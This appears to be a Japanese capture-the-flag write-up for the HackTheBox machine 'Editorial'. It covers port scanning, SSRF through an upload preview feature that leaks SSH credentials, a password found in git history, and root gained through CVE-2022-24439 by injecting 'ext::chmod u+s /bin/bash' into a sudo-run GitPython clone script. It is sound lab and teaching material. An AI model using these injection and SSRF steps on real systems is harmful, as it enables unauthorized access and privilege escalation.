HackTheBox Editorial WriteUp

今回は、HackTheBoxのEasyマシン「Editorial」のWriteUpです！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a6421c6e-82d1-4507-b39a-553292ed4df8.png)

前回同様EasyにしてはグラフがMediumよりですが、完全攻略目指していきます！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Editorial

### 列挙

それでは攻略を開始します。
まずはポートスキャンから実行していきましょう。

```bash
+[~/editorial]
(σ▰>∇<)σ<10.10.14.232>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.129.238.215

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
```

22番と80番が開いています。
ブラウザでアクセスしましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/1f70c0bf-c527-a916-b643-b0f688b625e8.png)

本を投稿したり見たりすることができる？サイトが表示されました。
ヘッダー部分に「Publish with us」と書かれたリンクがあるので、クリックしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7c38e2ac-067e-da70-875a-b7793458fbf1.png)

本をアップロードできる画面が表示されました。どうやらURLを入力するかファイルを直接指定することでアップロードできるようです。試しにKaliでローカルサーバを起動し、アップロードを試してみることにしました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ea001386-5546-ec01-4b31-df869b1bdc80.png)

URLで指定している```test.txt```には、「test」という文字列のみ入力されています。
指定ができたら一番下の「Send book info」を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/672f2e7e-da3b-617a-5049-d46a5d05ea90.png)

入力がすべてクリアされ、一番下のメッセージが「リクエストを送信しました！」という内容に変更されています。しかし、実際に送信した本？を確認することができません。起動したサーバのログを確認しても...

```bash
+[~/editorial]
(σ▰>∇<)σ<10.10.14.232>$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

通信がきている様子はありません。URLではなく直接ファイルをアップロードしても、本を確認することはできなかったので、本を送信する機能自体動かないようです。

一瞬アップロード画面がダミーかなと思いましたが、送信のほかに「Preview」というボタンがあることに気が付きました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/03694f85-a2a5-0911-f655-c268a16a8c4a.png)

送信する機能が動かなくてもプレビュー機能は生きている可能性があるので、こちらも試してみましょう。先ほどと同じようにKaliのURLを指定し、「Preview」を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/b6bd3d47-d931-db20-71f0-69c7761e056e.png)

少しわかりにくいですが、Book information部分のアイコンが変わりました。通信が発生しているかを確認するため、サーバのログも確認してみましょう。

```bash
+[~/editorial]
(σ▰>∇<)σ<10.10.14.232>$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.238.215 - - [16/Jun/2024 10:09:52] "GET /test.txt HTTP/1.1" 200 -
```

通信が発生しています！BurpSuiteでも通信を確認してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/1b977d59-4f05-f7b1-dc16-c301316aa1b9.png)

```test.txt```の内容が確認できます。プレビュー機能は生きていることが確定しました。
では、プレビュー機能で悪用を目指していきます。まず私が最初に考えたのはLFIでした。
URL部分に```file:///etc/passwd```などを入力しましたが...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/168cbec9-4799-bcde-6531-8a097cbff8a5.png)

デフォルトのアイコンが返されるのみで内容を確認することはできません。
他にもWEBシェルのアップロードも考えましたが、拡張子がなく完全にテキストとして認識されるためWEBシェルの作成は不可能です。

### Server Side Request Forgery

他に考えられる可能性として残っているのは「SSRF」しかありません。
ポートの候補はありませんが、とりあえずWEBで使用される有名なポート（3000 / 5000 / 8080）を試してみることにしました。5000番を試してみると...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/d66085d2-f371-5f36-f91f-364b9b2562fd.png)

APIの情報が出力されました！SSRFに脆弱であるようです。
出力された中にエンドポイントがいくつかあるので、それぞれアクセスしてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/bd28907c-d853-7cb6-8429-640ee0a43804.png)

404が返ってくるエンドポイントもありますが...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7fdba7e7-f033-19c7-3356-a02c8fc8875e.png)

```/api/latest/metadata/messages/authors```にアクセスすることで、```dev```ユーザの認証情報を取得できました！

## dev としてのシェル

認証情報を取得したので、SSH接続が可能か試してみましょう。

```bash
+[~/editorial]
(σ▰>∇<)σ<10.10.14.232>$ ssh dev@10.129.238.215 
dev@10.129.238.215 password: 
dev@editorial:~$ whoami
dev
```

SSH接続に成功しました！

```bash
dev@editorial:~$ ls -l
total 8
drwxrwxr-x 3 dev  dev 4096 Jun  5 14:36 apps
-rw-r----- 1 root dev   33 Jun 16 12:36 user.txt
```

ユーザフラグも取得できました。

### 横移動

では、ここから権限昇格を目指していきましょう！と思いましたが、```id```コマンドを実行したときにこのユーザのIDが「1001」であることがわかりました。

```bash
dev@editorial:~$ id
uid=1001(dev) gid=1001(dev) groups=1001(dev)
```

また、ホームディレクトリを見てみると...

```bash
dev@editorial:~$ ls -l /home
total 8
drwxr-x--- 4 dev  dev  4096 Jun 16 15:10 dev
drwxr-x--- 5 prod prod 4096 Jun  5 14:36 prod
```

```dev```ユーザのほかに```prod```ユーザが存在しています。HackTheBox的な考え方ですが、おそらく確定で横移動が必要になるので、まずは横移動を目指します。

### Git Commit Log

私はほかのユーザの存在が確認できたとき、そのユーザ名で```grep```を実行します。とりあえず今回も実行してみました。

```bash
dev@editorial:~$ grep 'prod' -rl ./
./apps/.git/logs/refs/heads/master
./apps/.git/logs/HEAD
```

```.git```ディレクトリ配下の2つのファイルが引っかかりました。内容を見てみましょう。

```bash
dev@editorial:~$ cat ./apps/.git/logs/HEAD
0000000000000000000000000000000000000000 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682905723 -0500	commit (initial): feat: create editorial app
3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 1e84a036b2f33c59e2390730699a488c65643d28 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682905870 -0500	commit: feat: create api to editorial info
1e84a036b2f33c59e2390730699a488c65643d28 b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906108 -0500	commit: change(api): downgrading prod to dev
b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dfef9f20e57d730b7d71967582035925d57ad883 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906471 -0500	commit: change: remove debug and update api port
dfef9f20e57d730b7d71967582035925d57ad883 8ad0f3187e2bda88bba85074635ea942974587e8 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906661 -0500	commit: fix: bugfix in api port endpoint
```

GitHubのコミットログが表示されました。このログの中でも```1e84a036b2f33c59e2390730699a488c65643d28```が```prod```ユーザに関するコミットのようです。
```git show```を実行し、コミットの詳細を確認しましょう。

```bash
dev@editorial:~/apps$ git show 1e84a036b2f33c59e2390730699a488c65643d28
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info

<...>

+# -- : (development) mail message to new authors
+@app.route(api_route + '/authors/message', methods=['GET'])
+def api_mail_new_authors():
+    return jsonify({
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+    }) # TODO: replace dev credentials when checks pass
+

<...>
```

色々と出力されますが、メッセージ部分に```prod```ユーザのパスワードを発見しました！

## prod としてのシェル

では、```prod```ユーザの認証情報を使用し、SSH接続を行いましょう！

```bash
+[~/editorial]
(σ▰>∇<)σ<10.10.14.232>$ ssh prod@10.129.238.215
prod@10.129.238.215 password: 
prod@editorial:~$ whoami
prod
```

横移動に成功しました！

### 権限昇格

今度こそ権限昇格を目指していきます！
まずはお馴染みの```sudo -l```から実行していきましょう。

```bash
prod@editorial:~$ sudo -l
[sudo] password for prod: 
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
```

```/opt/internal_apps/clone_changes/clone_prod_change.py *```が```sudo```を使用して実行可能なようです。どのようなスクリプトなのか確認します。

```bash
prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
```

Gitのリポジトリをcloneするスクリプトのようです。

### CVE-2022-24439

スクリプトの中でユーザが関与できる部分は引数の部分です。入力した引数の値は最終的に```clone_from```にURLとして採用されます。```clone_from```に脆弱性があれば悪用できそうなので、検索すると以下の記事を発見しました。

https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858

まさに求めていたものです。```ext::```でextプロトコルを使用しその後にコマンドを入力するだけでよさそうです。```/bin/bash```にSUIDを付与するコマンドを指定し、実行しましょう。

```bash
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::chmod u+s /bin/bash"
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::chmod u+s /bin/bash new_changes
  stderr: 'Cloning into 'new_changes''...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
```

エラーが出ていますが、おそらくURLではないことが原因だと思います。SUIDが付与されているか確認しましょう。

```bash
prod@editorial:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 11:31 /bin/bash
```

SUIDが付与されています！

## root としてのシェル

では、権限を昇格させましょう！

```bash
prod@editorial:~$ bash -p
bash-5.1# whoami
root
```

権限昇格成功です！

```bash
bash-5.1# ls -l /root
total 4
-rw-r----- 1 root root 33 Jun 16 12:36 root.txt
```

ルートフラグも取得でき、完全攻略達成です！